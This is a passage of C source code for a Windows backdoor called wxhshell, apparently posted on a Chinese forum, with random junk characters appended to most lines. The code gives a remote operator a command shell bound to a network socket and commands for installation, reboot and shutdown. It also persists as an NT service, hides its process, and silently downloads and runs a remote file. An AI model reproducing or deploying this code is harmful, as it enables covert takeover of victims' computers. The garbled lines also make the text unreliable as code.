  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uE1;@Dm+  
  } 7r;1 6"  
  else { }ny7LQ  
4X^$"lM  
    switch(cmd[0]) { 9~hW8{#  
  p{,#H/+J  
  // 帮助 ny KfM5s_  
  case '?': { Z@s[8wrmPl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vn}m-U XA*  
    break; {0,b[  
  } t?"(Zb  
  // 安装 J%?5d:iN+  
  case 'i': { d5^^h<'  
    if(Install()) ei-\t qY_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !q&Td  
    else ,:mL\ZED  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `,}7LfY  
    break; ^BA I/WP  
    } Lg<h54X  
  // 卸载 # scZP  
  case 'r': { 4aArxJ  
    if(Uninstall()) @k i|# ro  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( v*xW.  
    else LG8h@HY&L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }U8v ~wcd  
    break;  v@EErF  
    } O50_qu33ju  
  // 显示 wxhshell 所在路径 ~u&gU1}  
  case 'p': { YZ>L_$:q  
    char svExeFile[MAX_PATH]; x$q}lJv_  
    strcpy(svExeFile,"\n\r"); z)M#9oAM  
      strcat(svExeFile,ExeFile); 'I>USl3hI  
        send(wsh,svExeFile,strlen(svExeFile),0); PA'&]piPl:  
    break; |$\K/]q -  
    } 1["i,8zB  
  // 重启 w=#'8ZuU  
  case 'b': { sJZ2e6?n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [W3X$r~-  
    if(Boot(REBOOT)) wQG?)aaM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vv.E6D^x(  
    else { =mXC,<]  
    closesocket(wsh); r#OPW7mhE  
    ExitThread(0); .e7tq\k  
    } W yM1s+@  
    break; - VJx)g  
    } loIb}8  
  // 关机 a <C?- g|  
  case 'd': { JOuyEPy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); opH!sa@U  
    if(Boot(SHUTDOWN)) @ eJ8wf]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a,Pw2Gcid  
    else { H$Kc~#=  
    closesocket(wsh); oMN<jAU.  
    ExitThread(0); v#x`c_  
    } <8}FsRr;J  
    break; eN<L)a:J_  
    } HQ@g6  
  // 获取shell / <)Vd  
  case 's': { ?Kgb-bXB  
    CmdShell(wsh); TVcA%]y{;  
    closesocket(wsh); E !ndXz 59  
    ExitThread(0); 'S3<' X  
    break; AJ%E.+@=r  
  } " AUSgVE+h  
  // 退出 u9~5U9]O%6  
  case 'x': { A1/@KC"&{G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :&wb+tV  
    CloseIt(wsh); y@!M<#SEzG  
    break; 2{?]W/&fS  
    } ;j%I1k%A  
  // 离开 b$klm6nMvm  
  case 'q': { k\[(;9sf.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &IN%2c  
    closesocket(wsh); Y'iI_cg  
    WSACleanup(); }@q/.Ct! x  
    exit(1); o6vnl  
    break; opa}z-7>^  
        } MS\vrq'_  
  } ?=9'?K/~a  
  } 4`i8m  
)I&.6l!#  
  // 提示信息 ~)f^y!PMQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +vy fhw4  
} FGi7KV=N  
  } U5kKT.M  
['o ueOg  
  return; 94-BcN  
} Nbr$G=U  
4fs d5#  
// shell模块句柄 'yPKQ/y$x  
int CmdShell(SOCKET sock) l(NQk> w  
{ XSC=qg$  
STARTUPINFO si; d~~kJKK  
ZeroMemory(&si,sizeof(si)); e4` L8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3A`Gx#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YTyrX  
PROCESS_INFORMATION ProcessInfo; 1<G+KC[F  
char cmdline[]="cmd"; x.-d)]a!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?)1Y|W'Rv  
  return 0; d9$RmCHe}  
} J[<Zy^"Y;  
jTR?!Mt0  
// 自身启动模式 D#LV&4e>.E  
int StartFromService(void) YJv$,Z&;HO  
{ mi] WZlg$  
typedef struct Mq$K[]F  
{ c9nR&m8(+  
  DWORD ExitStatus; 'O(=Pz  
  DWORD PebBaseAddress; Gt.'_hf Js  
  DWORD AffinityMask; KZjh<sjX|  
  DWORD BasePriority; ~bZ =]i  
  ULONG UniqueProcessId; 0 cycnOd  
  ULONG InheritedFromUniqueProcessId; nmU1xv_  
}   PROCESS_BASIC_INFORMATION; '|4+< #  
{[2o  
PROCNTQSIP NtQueryInformationProcess; ]$"eGHX  
8NHm#Z3Ol  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^+76^*0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B)Y[~4o  
MOD&3>NI  
  HANDLE             hProcess; =3X>Ur  
  PROCESS_BASIC_INFORMATION pbi; M<Wi:r:  
F_*']:p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W q<t+E[  
  if(NULL == hInst ) return 0; ,Iyc0  
mU-2s%X<.^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w5 .^meU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G[mqLI{q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T2Yf7Szp  
4Et(3[P71  
  if (!NtQueryInformationProcess) return 0; a|FkU%sjzZ  
5 e+j51  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !ekByD  
  if(!hProcess) return 0; #zl1#TC{(  
~^obf(N`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `2 <:$]  
itzUq,T  
  CloseHandle(hProcess); FC1rwXL(  
B!/kC)bF:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =R=V  
if(hProcess==NULL) return 0;  _BP%@o  
t.ulG *  
HMODULE hMod; %NQ%6 B  
char procName[255]; ,LA'^I?  
unsigned long cbNeeded; <uuumi-!%G  
NwF"Zh5eMW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )5b_>Uy  
\( s `=(t  
  CloseHandle(hProcess); D;!sH?J@+  
`Xos]L'w  
if(strstr(procName,"services")) return 1; // 以服务启动 dq '2y  
uU 7 <8G  
  return 0; // 注册表启动 WPRk>j  
} Z^V;B _  
DKS1Sm6d0  
// 主模块 3 ZOD2: (  
int StartWxhshell(LPSTR lpCmdLine) A1p~K*[[  
{ dCoP qKy  
  SOCKET wsl; 9Rk(q4.OP  
BOOL val=TRUE; >.qFhO\1so  
  int port=0; iLnW5yy  
  struct sockaddr_in door; sg,\!'  
`&A`&-nc=  
  if(wscfg.ws_autoins) Install(); ,w~3K%B4  
1x_EAHZ>7  
port=atoi(lpCmdLine); Dd1k?  
<~dfp  
if(port<=0) port=wscfg.ws_port; QG*hQh  
g!~SHW)l  
  WSADATA data; - jZAvb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Q 9^|&6  
SPV+ O{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PaSwfjOnqr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MQP9^+f)O?  
  door.sin_family = AF_INET; {>hxmn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oSrA4g  
  door.sin_port = htons(port); fZ-"._9UyH  
%$ya>0?mq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N 8[r WJ#  
closesocket(wsl); X}Q4;='C-  
return 1; US)i"l7:H*  
} us.[wp'Sh  
C[,h!  
  if(listen(wsl,2) == INVALID_SOCKET) { @S3L%lOH  
closesocket(wsl); 1R}9k)JQ  
return 1; n=-vOa%  
} (LK@w9)i;  
  Wxhshell(wsl); !U?C _  
  WSACleanup(); Y)k"KRW+  
Ze%S<xT!O  
return 0; 1vq2`lWpx  
%/3+:}@G  
} $?F_Qsy{d  
IrZjlnht  
// 以NT服务方式启动 Y A,. C4=s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jP<6J(  
{ N[Xm5J  
DWORD   status = 0; +}m`$B}mJ  
  DWORD   specificError = 0xfffffff; <9&GOaJ  
Ct `)R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O h e^{:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (.$$U3\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'ij+MU 1  
  serviceStatus.dwWin32ExitCode     = 0; ,IhQ%)l  
  serviceStatus.dwServiceSpecificExitCode = 0; <p<6!tdO  
  serviceStatus.dwCheckPoint       = 0; #om Gj&  
  serviceStatus.dwWaitHint       = 0; #Tc`W_-  
Mc c%&j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3DO*kM1s@  
  if (hServiceStatusHandle==0) return; J ?{sTj"KB  
9 5!xJdq  
status = GetLastError(); w(bvs&`{uC  
  if (status!=NO_ERROR) F7<M{h5s  
{ +On2R&m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9%kO%j,3  
    serviceStatus.dwCheckPoint       = 0; <&[`  +  
    serviceStatus.dwWaitHint       = 0; #*:1Ch]B  
    serviceStatus.dwWin32ExitCode     = status; d1#lC*.Sg  
    serviceStatus.dwServiceSpecificExitCode = specificError; cWnEp';.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iJh{ ,0))g  
    return; `}t5`:#k  
  } NdJ]\>5oN,  
\ 3E%6L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \#biwX  
  serviceStatus.dwCheckPoint       = 0; #.u &2eyqQ  
  serviceStatus.dwWaitHint       = 0; {KSLB8gtL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fdl0V:<  
} f]10^y5&  
@8\0@[]  
// 处理NT服务事件,比如:启动、停止 .K^gh$z!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q>%.zc[x  
{ %J6>Vc!ix=  
switch(fdwControl) 5n>zJ ~  
{ J_+2]X7n  
case SERVICE_CONTROL_STOP: \=RV?mI3?  
  serviceStatus.dwWin32ExitCode = 0; IV&5a]j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IHW s<U  
  serviceStatus.dwCheckPoint   = 0; [6K[P3UZx  
  serviceStatus.dwWaitHint     = 0; |9i[*]  
  { 6-$95.Y2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s-6$C  
  } L7lpOy4k  
  return; M`7lYw\Or!  
case SERVICE_CONTROL_PAUSE: Y, Lpv|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WTD86A  
  break; y+^KVEw  
case SERVICE_CONTROL_CONTINUE: \|vo@E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p}~Sgi  
  break; ymrnu-p o  
case SERVICE_CONTROL_INTERROGATE: ,4,Bc<  
  break; 2 .Xx)(>  
}; ;|\j][A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nIOSP :'>  
} ~2[kCuu  
T g(\7Kq  
// 标准应用程序主函数 e2%mD.I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0f_`;{  
{ `+."X1  
Q-iBK*-w  
// 获取操作系统版本 I<W<;A  
OsIsNt=GetOsVer(); h+_:zWU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `}ZtK574  
18~jUYMV  
  // 从命令行安装 g9Dynm5  
  if(strpbrk(lpCmdLine,"iI")) Install(); q(EN]W],  
Ta3* G  
  // 下载执行文件 ?;w`hA3ei  
if(wscfg.ws_downexe) { \u6.*w5TI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q(46v`u  
  WinExec(wscfg.ws_filenam,SW_HIDE); SPe%9J+  
} cAx$W6S  
,ZYPffu<*  
if(!OsIsNt) { }]1C=~lC  
// 如果时win9x,隐藏进程并且设置为注册表启动 wKcuIc$  
HideProc(); {Gh9(0,B?  
StartWxhshell(lpCmdLine); CE (zt  
} $<VH~Q<  
else _`*G71PS  
  if(StartFromService()) //3fgoly  
  // 以服务方式启动 `"V}Wq ?I  
  StartServiceCtrlDispatcher(DispatchTable); B)d 4]]4\\  
else T#e|{ZCbq  
  // 普通方式启动 N3Q .4? z9  
  StartWxhshell(lpCmdLine); Z>/ *q2  
CZ^ ,bad  
return 0; D{6BX-Dw.  
}
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只看该作者 1 发表于: 2006-10-10
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